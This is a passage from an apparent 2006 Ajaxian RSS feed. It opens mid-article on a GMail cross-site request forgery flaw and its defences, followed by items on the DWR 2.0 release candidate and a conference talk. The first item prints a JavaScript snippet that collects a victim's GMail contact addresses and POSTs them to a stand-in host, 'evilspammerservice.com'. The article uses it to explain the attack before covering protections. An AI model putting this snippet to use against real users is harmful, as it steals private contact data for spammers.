<p>But it would be just as easy to post the list of addresses off to some spam address catcher service:</p>
<div class="igBar"><a href="javascript:showCodeTxt('html-12');">PLAIN TEXT</a></div>
<div class="syntax_hilite"><span style="color:#000000; font-weight:bold;">HTML:</span>
<div id="html-12">
<div class="html">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">&lt;script</span></a> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">function google(data){</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; var body, i;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; for (i = 0; i <span style="color: #009900;">&lt;data.Body.Contacts.length; i++<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; body += <span style="color: #000066;">data</span>.Body.Contacts<span style="color:#006600; font-weight:bold;">&#91;</span>i<span style="color:#006600; font-weight:bold;">&#93;</span>.Email + <span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\n</span>"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; var xhr = new ActiveXObject<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color: #ff0000;">"Microsoft.XMLHTTP"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; xhr.open<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color: #ff0000;">"POST"</span>, <span style="color: #ff0000;">"http://evilspammerservice.com/catcher"</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; xhr.send<span style="color:#006600; font-weight:bold;">&#40;</span>body<span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000000; font-weight: bold;">&lt;/script&gt;</span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
</ol>
</div>
</div>
</div>
<h2>How to Protect Your Server</h2>
<p>There are 2 known solutions to CSRF attacks: secret hidden fields and scripted cookies.</p>
<p>Things that wont protect you:</p>
<ul>
<li>Switching to POST and denying GET: Forms can be trivially altered with DOM manipulation to forge POST requests.</li>
<li>Checking the referrer field: the referrer field is open to manipulation and it is sometimes not sent by browsers. So you are left with a choice between allowing no referrer (an attacker can get around this) and denying no referrer (breaks many innocent users).</li>
<li>JSON: Removing the function call in the GMail example would mean we would have to use XHR rather then just a simple Script Tag. The door is still wide open.</li>
</ul>
<h3>Secret Hidden Fields</h3>
<p>If all your sensitive URLs contain some secret shipped with the page, then the cross-domain rules in the browser will stop an attacker from discovering the secret, so the server can distinguish between submissions that come from pages supplied by the server (which are safe).</p>
<p>This technique is good for the "Web 1.0" situations which are light on scripting. It is fairly complex to setup because it requires the server to keep a track of the secret, and to manipulate all forms to contain a hidden field.</p>
<h3>Double Submit the Cookie</h3>
<p>The CSRF attack works by subverting what the browser will do with the cookie.&nbsp; Ideally, your cookies would be totally unavailable to anyone outside of your domain. This attack works because XMLHttpRequest in some page can use the cookies of some foreign domain when posting to that foreign domain. However the script can not read the cookie directly due to the cross-domain rules, so a slight modification of the hidden field solution is to read the session cookie using JavaScript and then adding to URLs, forms or the body of a POST request, and then checking in the server that the session cookie value that the browser sends in the header (which is subvertable) is the same as the session cookie in the request (this is not subvertable in the same way).</p>
<p>If you are using Ajax or a significant amount of scripting then this solution is a simple fix once solution.</p>
<h2>Use a Library</h2>
<p><a href="http://getahead.ltd.uk/dwr/"><img src="http://getahead.ltd.uk/images/dwr-logo.png" style="margin: 0px 10px;" align="right" border="0"/></a></p>
<p>Specifically - use DWR. If you are using DWR version 2 then this CSRF protection comes for free. DWR implements the double cookie submission pattern transparently.</p>
<p></script></p></blockquote>
<p>There is some talk on <a href="http://blogs.zdnet.com/Google/?p=434">ZDNet</a> and it appears that <a href="http://4diggers.blogspot.com/2006/06/how-to-defeat-digg.html">Digg may have the same issue</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/gmail-csrf-security-flaw/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>DWR 2.0 RC 1 Available</title>
		<link>http://ajaxian.com/archives/dwr-20-rc-1-available</link>
		<comments>http://ajaxian.com/archives/dwr-20-rc-1-available#comments</comments>
		<pubDate>Thu, 07 Dec 2006 13:09:15 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Library]]></category>
		<category><![CDATA[Toolkit]]></category>

		<guid isPermaLink="false">http://ajaxian.com/archives/dwr-20-rc-1-available</guid>
		<description><![CDATA[Joe Walker has announced the first release candidate for DWR 2.0, the popular Java remoting toolkit. New in a nutshell JavaScript Proxy API DWR can dynamically generate JavaScript from a Java API. This is done at runtime rather than compile time, so we can use it to remote control many browsers. This makes it very <a href="http://ajaxian.com/archives/dwr-20-rc-1-available">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>Joe Walker has <a href="http://getahead.ltd.uk/blog/joe/2006/12/07/dwr_2_0_release_candidate_1.html">announced the first release candidate for DWR 2.0</a>, the popular Java remoting toolkit.</p>
<p><b>New in a nutshell</b></p>
<blockquote>
<h3>JavaScript Proxy API</h3>
<p>DWR can dynamically generate JavaScript from a Java API. This is done at runtime rather than compile time, so we can use it to remote control many browsers. This makes it very easy to write things like chat applications, or anything particularly dynamic. Messages are sent to clients using Reverse Ajax.</p>
<h3>Reverse Ajax</h3>
<p>DWR supports 3 ways to asynchronously transfer messages from the server to the browser: Comet (long-lived HTTP connections), Polling and Piggyback. Of these Comet and Polling are active (fast but require extra network traffic) and Piggyback is passive (slower but doesn't need extra network traffic). DWR automatically selects the best method transparently to the programmer.</p>
<h3>Security</h3>
<p>Two of the the biggest generic dangers to ajax applications today arr <a href="http://en.wikipedia.org/wiki/Cross_site_scripting">Cross-Site Scripting</a> (XSS), which most people are aware of, and the new tool in the hack-box: <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-Site Request Forgery</a> (CSRF). DWR helps you protect your site against these attacks by providing automatic protection against CSRF attacks for many configurations, and by defaulting to a mode where XSS attacks are reduced.</p>
</blockquote>
<ul>
<li><a href="http://getahead.ltd.uk/dwr/download">Download DWR 2.0</a></li>
<li><a href="http://getahead.ltd.uk/dwr/changelog/dwr20">More details on the new and noteworthy</a></li>
<li><a href="http://jroller.com/page/mom?entry=reverse_ajax_push_implementations">More details on the reverse ajax implementations</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/dwr-20-rc-1-available/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hands on DWR</title>
		<link>http://ajaxian.com/archives/hands-on-dwr</link>
		<comments>http://ajaxian.com/archives/hands-on-dwr#comments</comments>
		<pubDate>Tue, 24 Oct 2006 20:00:28 +0000</pubDate>
		<dc:creator>Jim Halberg</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Framework]]></category>
		<category><![CDATA[Front Page]]></category>
		<category><![CDATA[Presentation]]></category>
		<category><![CDATA[The Ajax Experience]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=1729</guid>
		<description><![CDATA[Joe Walker (Getahead-DWR) and Bram Smeets (Interface 21-Spring) took a novel approach to their "Hands on DWR" talk at The Ajax Experience: Creating a game - "Multi Player Battleships" live in the session. The concept was very well received - many smiles around the room when the idea was introduced. With Joe talking and Bram <a href="http://ajaxian.com/archives/hands-on-dwr">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://getahead.ltd.uk/blog/joe">Joe Walker</a> (<a href="http://getahead.ltd.uk/">Getahead</a>-<a href="http://getahead.ltd.uk/dwr">DWR</a>) and <a href="http://bram.jteam.nl">Bram Smeets</a> (<a href="http://www.interface21.com">Interface 21</a>-<a href="http://www.springframework.org">Spring</a>) took a novel approach to their "Hands on DWR" talk at <a href="http://www.theajaxexperience.com">The Ajax Experience</a>: Creating a game - "Multi Player Battleships" live in the session.  </p>
<p>The concept was very well received - many smiles around the room when the idea was introduced.  With Joe talking and Bram typing they took a pre-created boilerplate (configuration and some of the simpler tasks completed beforehand due to the time constraint) and turned it into a simple, but fully functional, multiplayer game.</p>
<p>I'm happy to report that I don't have an awful lot to report regarding the complex inner workings of the application.  Those familiar with DWR will find that the code contains few things unfamiliar or even 'advanced'.  As someone with only an intermediate DWR skillset - I had no trouble following the code Joe and Bram were creating.  The final product was simple but functional - intentionally avoiding features that would improve the game but cloud the demo.  Joe and Bram were able to hide from each other, fire, and even chat as they played.  The code for the demo can be found <a href="http://getahead.ltd.uk/dwr/download">here</a> (near the bottom at the time of this post).</p>
<p>The most contested point was the use of "reverse ajax" to sync with the current server status at timed intervals. Reverse Ajax was introduced in v2.0 m1 (current stable release is v1.1.3)  Concerns centered on potential security issues - Joe explained that they do as much as reasonably possible to stop malicious users, but in the end if you are a malicious user: there are many ways that you can bring the server down without DWR.</p>
<div style="font-style: italic">image stolen from <a href="http://getahead.ltd.uk/blog/joe/2006/10/17/interactive_conference_talks.html">this post</a> on Joe's blog where he also talks about the concept of developing the game live in a session</div>
<p><img align="center" size="300px" style="padding-left: 15px;" src="http://getahead.ltd.uk/images/battleships_sm.png"/> </p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/hands-on-dwr/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

